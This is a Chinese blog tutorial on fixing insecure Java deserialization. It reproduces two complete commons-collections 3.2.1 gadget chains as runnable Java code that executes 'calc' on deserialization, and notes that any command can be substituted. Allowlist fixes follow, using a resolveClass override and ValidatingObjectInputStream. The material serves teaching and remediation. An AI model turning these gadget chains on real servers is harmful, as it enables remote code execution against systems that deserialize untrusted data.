【代码扫描修复】不安全的反序列化攻击(高危)

news2024/11/25 0:46:18

目录

    • 一、漏洞描述
      • 1.1 摘要:
      • 1.2 漏洞解释:
      • 1.3 修复建议
    • 二、知识补充
      • 2.1 反序列化的历史
      • 2.2 什么是序列化、反序列化?
        • 补充:Java 对象序列化为二进制
      • 2.3 序列化/反序列化库
      • 2.4 反序列化漏洞
    • 三、漏洞复现:攻击链1
      • 3.1 依赖版本
      • 3.2 代码复现
      • 3.3 执行结果
      • 3.4 漏洞利用原理分析
    • 四、漏洞复现:攻击链2
      • 4.1 依赖版本
      • 4.2 代码复现
      • 4.3 执行结果
    • 五、漏洞修复
      • 方式一:自定义白名单校验
      • 方式二:使用工具包中的校验【推荐】

一、漏洞描述

1.1 摘要:

在运行时对用户控制的对象流进行反序列化,会让攻击者有机会在服务器上执行任意代码、滥用应用程序逻辑和/或导致 Denial of Service

1.2 漏洞解释:

  • Java 序列化会将对象图转换为字节流(包含对象本身和必要的元数据),以便通过字节流进行重构。开发人员可以创建自定义代码,以协助 Java 对象反序列化过程,在此期间,他们可以使用其他对象或代理替代反序列化对象。在对象重构过程中,并在对象返回至应用程序并转换为预期的类型之前,会执行自定义反序列化过程。到开发人员尝试强制执行预期的类型时,代码可能已被执行。 在必须存在于运行时类路径中且无法由攻击者注入的可序列化类中,会自定义反序列化例程,所以这些攻击的可利用性取决于应用程序环境中的可用类。令人遗憾的是,常用的第三方类,甚至 JDK 类都可以被滥用,导致 JVM 资源耗尽、部署恶意文件或运行任意代码。

  • 示例 1:应用程序对不可信对象流进行反序列化会影响应用程序。
    InputStream is = request.getInputStream();
    ObjectInputStream ois = new ObjectInputStream(is);
    MyObject obj = (MyObject) ois.readObject();

1.3 修复建议

  • 如果可能,在没有验证对象流的内容的情况下,请勿对不可信数据进行反序列化。为了验证要进行反序列化的类,应使用前瞻反序列化模式。 对象流首先将包含类描述元数据,然后包含其成员字段的序列化字节。Java 序列化过程可以让开发人员读取类描述,并确定是继续进行对象的反序列化还是中止对象的反序列化。为此,需要在应执行类验证和确认的位置,子类化 java.io.ObjectInputStream 并提供 resolveClass(ObjectStreamClass desc) 方法的自定义实现。 已有易于使用的前瞻模式实现方式,

  • 例如 Apache Commons IO (org.apache.commons.io.serialization.ValidatingObjectInputStream)。

  • 始终使用严格的允许列表方法,以仅允许对预期类型进行反序列化。不建议使用拒绝列表方法,因为攻击者可以使用许多可用小工具绕过拒绝列表。此外,请谨记,尽管用于执行代码的某些类已公开,但是还可能存在其他未知或未公开的类,因此,允许列表方法始终都是首选方法。应审计允许列表中允许的任何类,以确保对其进行反序列化是安全的。 在库或框架中执行反序列化时(例如,使用 JMX、RMI、JMS、HTTP Invoker 时),上述建议并不适用,因为它超出了开发人员的控制范围。在这些情况下,您可能需要确保这些协议满足以下要求: - 未公开披露。 - 使用身份验证。 - 使用完整性检查。 - 使用加密。 此外,每当应用程序通过 ObjectInputStream 执行反序列化时,Fortify Runtime(Fortify 运行时)都会提供要强制执行的安全控制,以此同时保护应用程序代码以及库和框架代码,防止遭到此类攻击。


二、知识补充

2.1 反序列化的历史

  • 2011年开始,攻击者就开始利用反序列化问题发起攻击。
  • 2015年11月6日FoxGlove Security安全团队的@breenmachine发布了一篇长博客,阐述了利用java反序列化和Apache Commons Collections这一基础类库实现远程命令执行的真实案例,各大java web server纷纷中招,这个漏洞横扫WebLogic、WebSphere、JBoss、Jenkins、OpenNMS的最新版。
  • 2016年java中Spring与RMI集成反序列化漏洞,使成百上千台主机被远程访问。
  • 2017年末,WebLogic XML反序列化引起的挖矿风波,使得反序列化漏洞再一次引起热议。
  • 从2018年至今,安全研究人员陆续爆出XML、Json、Yaml、PHP、Python、.NET中也存在反序列化漏洞。据全网分析以及 shodan 扫描显示,时至今日,在全球范围内的公网上大约有 136,818 台服务器依然存在反序列化漏洞。

为什么这个漏洞影响如此之大,却依然让人防不胜防?

2.2 什么是序列化、反序列化?

序列化: 将内存对象转化为可以存储以及传输的二进制字节、xml、json、yaml 等格式。

反序列化: 将虚化列存储的二进制字节、xml、json、yaml 等格式的信息重新还原转化为对象实例。

数据格式序列化后的信息样例
二进制在这里插入图片描述
xml在这里插入图片描述
json{“name”:“ACGkaka”,“age”:20}
yaml!!com.demo.user.Person {age: 20, name: ACGkaka}\n
  • 在线二进制查看器: https://h.markbuild.com/doc/binary-viewer-cn.html
补充:Java 对象序列化为二进制
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;

/**
 * Java 对象序列化为二进制
 */
public class Test {
    public static void main1(String[] args) {
        Person obj = new Person("ACGkaka", 20);
        try {
            FileOutputStream fileOut = new FileOutputStream("D:\\object.bin");
            ObjectOutputStream out = new ObjectOutputStream(fileOut);
            out.writeObject(obj);
            out.close();
            fileOut.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

2.3 序列化/反序列化库

如果想将对象序列化为二进制格式(或者反序列化为对象),直接使用 JDK 自带的 ObjectOutputStreamreadObjectwriteObject 方法即可。如果想与其他格式(xml、json、yaml)相互转换,一般需要引入 jacksonsnakeyaml 等其他开源组件,使用开源组件中提供的库方法。

库名称序列化支持的格式
jdk二进制、xml
xstreamxml、json
jacksonxml、json
fastjsonjson
gsonjson
json-iojson
flexsonjson
snakeyamlyaml

2.4 反序列化漏洞

我们需要明确的一点是:Java 的序列化和反序列化本身并不存在问题,但如果 Java 应用对用户的输入,即不可信数据做了反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的对象,而非预期的对象在产生过程中就有可能带来任意代码执行的后果。

所以,这个问题的根源在于类 ObjectInputStream 反序列化时,没有对生成的对象类型做限制。正因如此,Java 提供的标准库及大量第三方公共类库成为反序列化漏洞利用的关键。


三、漏洞复现:攻击链1

3.1 依赖版本

JDK版本: 1.8.0_60

commons-collections版本: 3.2.1(从 3.2.2 开始增加了安全校验,需要手动设置 System.setProperty(“org.apache.commons.collections.enableUnsafeSerialization”, “true”);)

在这里插入图片描述

<dependency>
	<groupId>commons-collections</groupId>
	<artifactId>commons-collections</artifactId>
	<version>3.2.1</version>
</dependency>

3.2 代码复现

import com.alibaba.fastjson2.JSON;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;

/**
 * 复现反序列化漏洞(攻击链一)
 */
public class Test {

    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        // 构造利用链相关环的对象,最终目的达到命令行执行的效果(弹出计算器应用)
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        Transformer chain4Obj = new ChainedTransformer(transformers);
        LazyMap chain3Obj = (LazyMap) LazyMap.decorate(new HashMap<>(), chain4Obj);
        TiedMapEntry chain2Obj = new TiedMapEntry(chain3Obj, "anyKey");

        // 构造利用链的第一环 BadAttributeValueExpException 对象,因相关方法非public,使用反射强行设置val值
        BadAttributeValueExpException chain10Obj = new BadAttributeValueExpException(null);
        Field valField = chain10Obj.getClass().getDeclaredField("val");
        valField.setAccessible(true);
        valField.set(chain10Obj, chain2Obj);

        // 使用jdk库函数将chain10Obj序列化到文件D:\hacker中
        ObjectOutputStream objOut = new ObjectOutputStream(new FileOutputStream("D:\\hacker"));
        objOut.writeObject(chain10Obj);

        // 使用jdk库函数将文件D:\hacker内容反序列化为对象,反序列化漏洞触发任意命令行执行
        ObjectInputStream objIn = new ObjectInputStream(new FileInputStream("D:\\hacker"));
        Object object = objIn.readObject();
    }
}

3.3 执行结果

复现成功,打开了本地计算器。

在这里插入图片描述

3.4 漏洞利用原理分析

首先,反序列化漏洞利用最终目标是要能进行任意命令或者远程代码的执行。本例中,是达成了任意命令行命令的执行,即:本例中的 calc 命令。在 Java 中相当于要执行代码:

Runtime.getRuntime().exec("calc");

其中 calc 知识示例,可以换成任意其它命令。

如果作为攻击方,需要执行这条命令的话,那是不是直接把这一行代码写到 demo 程序里就行了?答案是不行的!直接写这一行代码你只能在 demo 程序中运行的时候有效果,没办法在实际反序列化的业务代码中执行的。我们需要利用反序列化过程本身会调用的方法作为入口,触发我们注入的命令执行。在 jdk 的 ObjectInputStream.readObject() 的反序列过程会调用目标反序列化对象的 readObject() 方法。攻击方需要利用该入口调用我们注入的命令。

那么作为攻击方,是不是直接定义一个对象X,在 readObject 方法里面写这一行代码(Runtime.getRuntime().exec("calc");)就行了,为什么样例代码整的那么复杂?答案依然是不行的。这样仅能在攻击者本地执行,业务执行环境中没有X这个类的定义,会报错 ClassNotFoundException

在这里插入图片描述

所以攻击方只能利用业务本身已经加载的 jdk 以及常用开源组件中的类来构造序列化攻击连,本例中选用的攻击连的第一环为 BadAttributeValueExpException 对象。当执行反序列化时,首先会触发调用 BadAttributeValueExpException 的 readObject() 方法。

在这里插入图片描述


四、漏洞复现:攻击链2

假如业务上通过黑名单的方法禁止了 BadAttributeValueExpException 类的反序列化,能防止反序列化攻击吗?答案依然是否定的。这条链禁止的,我们换一条就是了。本小节介绍另外一条 commons-collections 的经典攻击链。

4.1 依赖版本

JDK版本: 1.8.0_60

commons-collections版本: 3.2.1(从 3.2.2 开始增加了安全校验,需要手动设置 System.setProperty(“org.apache.commons.collections.enableUnsafeSerialization”, “true”);)

在这里插入图片描述

<dependency>
	<groupId>commons-collections</groupId>
	<artifactId>commons-collections</artifactId>
	<version>3.2.1</version>
</dependency>

4.2 代码复现

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

/**
 * 复现反序列化漏洞(攻击链二)
 */
public class Test {

    public static void main(String[] args) throws Exception{
        // 构造利用链相关环的对象,最终目的达到命令行执行的效果(本例中弹出计算器应用)
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc"})};
        Transformer chanin5Obj = new ChainedTransformer(transformers);
        LazyMap chain4Obj = (LazyMap)LazyMap.decorate(new HashMap(), chanin5Obj);

        Constructor<?> constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
        constructor.setAccessible(true);
        InvocationHandler chain3Obj = (InvocationHandler) constructor.newInstance(SuppressWarnings.class, chain4Obj);
        Map chain2Obj = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), chain3Obj);
        InvocationHandler chain1Obj = (InvocationHandler) constructor.newInstance(Override.class, chain2Obj);

        // 使用jdk库函数将chain1Obj序列化到文件D:\hacker2中
        ObjectOutputStream objOut = new ObjectOutputStream(new FileOutputStream("D:\\hacker2"));
        objOut.writeObject(chain1Obj);

        // 使用jdk库函数将文件D:\hacker2内容反序列化为对象,反序列化漏洞触发任意命令行执行
        ObjectInputStream objIn = new ObjectInputStream(new FileInputStream("D:\\hacker2"));
        Object object = objIn.readObject();
    }
}

4.3 执行结果

我们可以看到,虽然报错了,但还是复现成功,打开了本地计算器。

在这里插入图片描述

事实上,除了 commons-collections 工具包中存在反序列化漏洞外,jackson-databindSnakeYaml 都存在经典的攻击链,可参考这位大佬的文章:https://zhuanlan.zhihu.com/p/654430511


五、漏洞修复

上面我们看到了利用常用开源组件的多个类构建的一系列攻击链,如果仅用黑名单限制某些攻击链上类的反序列化是不够的,会有源源不断的新的攻击链被挖掘出来。所以为了让代码更受控、更安全,最好能梳理清楚业务上需要反序列化的类列表,进行白名单校验。

控制反序列化源: 反序列化的数据源如果是可以轻易地被外部用户控制,就一定要做白名单校验。如果数据源在正常业务不能被外部控制,但是也不能完全排除攻击者通过其它手段攻破进来篡改了相关依赖的数据源后发动组合攻击,最好也做白名单防护。

白名单校验: 涉及到使用 ObjectInputStream 进行反序列化时,重写 resolveClass 方法增加白名单校验。业务代码使用重写 SecureObjectInpuStream 类进行反序列化。

注意: 自定义白名单校验的时候,需要考虑到对象中还包含哪些类型的属性,包装类也要考虑在内,否则就会被校验卡住,导致反序列化失败。

方式一:自定义白名单校验

SecureObjectInputStream.java

import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.ObjectStreamClass;

/**
 * 白名单校验
 */
public class SecureObjectInputStream extends ObjectInputStream {

    public SecureObjectInputStream(InputStream in) throws IOException {
        super(in);
    }

    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
        // 白名单校验
        if (!desc.getName().equals("com.demo.user.Person") && !desc.getName().startsWith("java.lang")) {
            throw new ClassNotFoundException(desc.getName() + " not found.");
        }
        return super.resolveClass(desc);
    }
}

使用示例:

Test.java

import com.alibaba.fastjson.JSON;
import org.apache.commons.io.serialization.ValidatingObjectInputStream;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;

public class Test {
    /**
     * 序列化
     */
    public static void main1(String[] args) {
        Person obj = new Person("ACGkaka", 20);
        try {
            FileOutputStream fileOut = new FileOutputStream("D:\\object.bin");
            ObjectOutputStream out = new ObjectOutputStream(fileOut);
            out.writeObject(obj);
            out.close();
            fileOut.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    /**
     * 反序列化
     */
    public static void main(String[] args) throws Exception {
        ValidatingObjectInputStream vois = new ValidatingObjectInputStream(new FileInputStream("D:\\object.bin"));
        vois.accept(Person.class);
        vois.accept("java.lang.*");
        Object object = vois.readObject();
        System.out.printf(JSON.toJSONString(object));
    }
}

Person.java

package com.demo.user;

import lombok.AllArgsConstructor;
import lombok.Data;

import java.io.Serializable;

@Data
@AllArgsConstructor
public class Person implements Serializable {
    /**
     * 姓名
     */
    private String name;
    /**
     * 年龄
     */
    private Integer age;
}

正常反序列化,执行结果:

在这里插入图片描述

利用攻击链1,执行结果:

在这里插入图片描述

利用攻击链2,执行结果:

在这里插入图片描述

方式二:使用工具包中的校验【推荐】

commons-io 中有带有 ValidatingObjectInputStream 工具类,专门用于过滤反序列化校验。

<dependency>
    <groupId>commons-io</groupId>
    <artifactId>commons-io</artifactId>
    <version>2.14.0</version>
</dependency>

使用示例:

import com.alibaba.fastjson.JSON;
import org.apache.commons.io.serialization.ValidatingObjectInputStream;
import java.io.FileInputStream;

public static void main(String[] args) throws Exception {
    ValidatingObjectInputStream vois = new ValidatingObjectInputStream(new FileInputStream("D:\\object.bin"));
    // 可以多次添加校验内容,只要满足其中一个就会正常反序列化。
    vois.accept(Person.class);
    vois.accept("java.lang.*");
    Object object = vois.readObject();
    System.out.printf(JSON.toJSONString(object));
}

正常反序列化,执行结果:

在这里插入图片描述

利用攻击链1,执行结果:

在这里插入图片描述

利用攻击链2,执行结果:

在这里插入图片描述

可以看到,两种方式都在保证正常序列化的情况下,完整了漏洞的白名单校验,漏洞修复。

整理完毕,完结撒花~ 🌻





参考地址:

1.java反序列漏洞原理分析及防御修复方法,https://blog.csdn.net/m0_38103658/article/details/100581450

2.安全攻防丨反序列化漏洞的实操演练,https://zhuanlan.zhihu.com/p/654430511

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1179718.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

jacoco和sonar

目录 jacoco 引入依赖 构建配置修改 单元测试 生成报告 查看报告 报告说明 1. Instructions 2. Branches 3. Cyclomatic Complexity 4. Lines 5. Methods 6. Classes sonar7.7 基础环境 需要下载软件 解压文件并配置 运行启动 jacoco 引入依赖 <dep…

CAP定理一文带你速解(通俗易懂,图文并茂)

目录 CAP定理 概述 Consistence&#xff08;一致性&#xff09; Availability &#xff08;可用性&#xff09; Partition Tolerance&#xff08;分区容错性&#xff09; 保证P&#xff0c;为什么无法同时满足AC&#xff1f; CP与AP如何取舍 CAP定理是分布式事务的基础…

Node.js |(五)包管理工具 | 尚硅谷2023版Node.js零基础视频教程

学习视频&#xff1a;尚硅谷2023版Node.js零基础视频教程&#xff0c;nodejs新手到高手 文章目录 &#x1f4da;概念介绍&#x1f4da;npm&#x1f407;安装npm&#x1f407;基本使用&#x1f407;生产依赖与开发依赖&#x1f407;npm全局安装&#x1f407;npm安装指定包和删除…

机器视觉工程师注意高新待遇来了,非标设备厂家早就布局海外市场,国内大多数企业是谋生存情况下,而更具有大局观的企业走出去则是谋发展

冬天来了&#xff0c;大家记得多添点衣服&#xff0c;记得穿秋裤&#xff01; 当各个厂家都在国内抢订单的时候&#xff0c;更多的非标设备厂家早已走向海外&#xff0c;布局海外市场&#xff0c;或者在新的领域积极开展新的业务。为自身公司带来大量海外订单。 别的企业都是…

Excel 转 Json 、Node.js实现(应用场景:i18n国际化)

创作灵感来源于在线转换是按照换行符去转换excel内容换行符后很难处理 本文是按单元格转换 const xlsx require(node-xlsx) const fs require(fs) const xlsxData xlsx.parse(./demo.xlsx) // 需要转换的excel文件// 数据处理 方便粘贴复制 const data xlsxData[2].data …

汽车发动机各系统部件构造图解及名称大全(超详细)

我们都知道发动机是汽车的心脏,相信大家都有东拼西凑的学一些发动机知识,今天汽车维修网小编给大家系统的整理整个发动机的基础知识,如果能认真看完,相信肯定有所收获。全文3065字,81幅结构图,建议收藏、分享后再慢慢看。 首先我们来看一下 发动机总成构造图解 发动机…

zookeeper:启动原理

主类&#xff1a; QuorumPeerMain, 其中调用了main对象的initializeAndRun方法&#xff0c; 首先定义了QuorumPeerConfig对象&#xff0c;然后调用了parse方法&#xff0c;parse方法代码如下&#xff1a; 其中调用的parseProperties方法的代码如下&#xff1a; 可以看到&am…

嵌入式C语言自我修养《数据存储与指针》学习笔记

目录 一、数据类型和存储 1.大端模式和小端模式 2.有符号数和无符号数 二、数据对齐 1.为什么要数据对齐 2.结构体对齐 3.联合体对齐 三、数据的可移植性 四、 Linux内核中的size_t类型 五、typedef的使用 1. typedef的基本用法 2.使用typedef的优势 3. typedef的作用域 六…

前端常用的版本管理工具

一、是什么 版本控制&#xff08;Version control&#xff09;&#xff0c;是维护工程蓝图的标准作法&#xff0c;能追踪工程蓝图从诞生一直到定案的过程。此外&#xff0c;版本控制也是一种软件工程技巧&#xff0c;借此能在软件开发的过程中&#xff0c;确保由不同人所编辑的…

汽车驾驶智能座舱太阳光模拟器老化试验

一、太阳光模拟器老化试验目的 太阳光模拟器氙光灯老化试验是一种常用的材料老化测试方法&#xff0c;通过模拟自然光照条件下的老化过程&#xff0c;评估材料的耐光性能和耐候性能其主要目的有: 1.评估材料在长时间暴露于自然光照条件下的耐久性能: 2.比较不同材料的耐光性…

龙芯loongarch64服务器编译安装scipy

前言 根据我之前的文章介绍&#xff0c;龙芯loongarch64服务器中的很多python依赖包安装有问题&#xff0c;发现其中安装的"scikit-learn"就无法正常使用&#xff0c;所有这里在 pip3 install scikit-learn -U -i https://pypi.tuna.tsinghua.edu.cn/simple 的时候发…

telnet的使用

用于查看 某个ip某个端口通不通 telnet 136.126.122.123 6380 这个代表通了

NLP项目windows环境搭建

一、安装Anaconda Free Download | Anaconda 二、安装PyCharm PyCharm&#xff1a;JetBrains为专业开发者提供的Python IDE 三、创建Python虚拟环境 1. 打开命令窗口 "开始"菜单中找到Anaconda3 - Anaconda Powershell Prompt 说明&#xff1a; Anaconda Power…

应用在触摸显示屏中的高性能低功耗触摸芯片

触摸屏显示器(Touch Screen)可以让使用者只要用手指轻轻地碰计算机显示屏上的图符或文字就能实现对主机操作&#xff0c;这样摆脱了键盘和鼠标操作&#xff0c;使人机交互更为直截了当。简单的说&#xff0c;只是在显示器上安装了触摸屏&#xff0c;成为带有触摸功能的显示器。…

el-input-number输入框超过限制后自动变为最大值

input输入框使用了el-input-number 需求&#xff1a;目标室温输入框数据库设置最大是4位整数&#xff0c;限制一位小数&#xff0c;且后面要加单位&#xff0c;当输入数字超过限制&#xff0c;默认显示限制的最大值 &#xff0c;所以就有了输入完图一自动变为图二的数字。 el-i…

CV计算机视觉每日开源代码Paper with code速览-2023.11.3

精华置顶 墙裂推荐&#xff01;小白如何1个月系统学习CV核心知识&#xff1a;链接 点击CV计算机视觉&#xff0c;关注更多CV干货 论文已打包&#xff0c;点击进入—>下载界面 点击加入—>CV计算机视觉交流群 1.【基础网络架构】&#xff08;NeurIPS2023&#xff09;Ai…

MySQL第六讲·where和having的异同?

你好&#xff0c;我是安然无虞。 文章目录 面试常考&#xff1a;where与having有什么不同&#xff1f;一个实际查询需求wherehaving怎么正确的使用where和having&#xff1f; 面试常考&#xff1a;where与having有什么不同&#xff1f; 我们在进行查询的时候&#xff0c;经常…

C语言运行代码示例

这是一个基本的 C 爬虫程序&#xff0c;使用了 C11 版本。这个程序使用了 C11 的标准库&#xff0c;包括了网络编程库&#xff08;<net/http>&#xff09;&#xff0c;字符串处理库&#xff08;<string>&#xff09;和文件操作库&#xff08;<fstream>&#…

Centos7下通过docker安装Rancher2.7搭建Kubernetes

Rancher官方网站&#xff08;中文&#xff09; Rancher单节点 Rancher2.7与Kubernetes部署在同一台设备上 关闭防火墙与selinux #关闭防火墙 systemctl stop firewalld && systemctl disable firewalld && iptables -F #关闭selinux sed -i s/enforcing/di…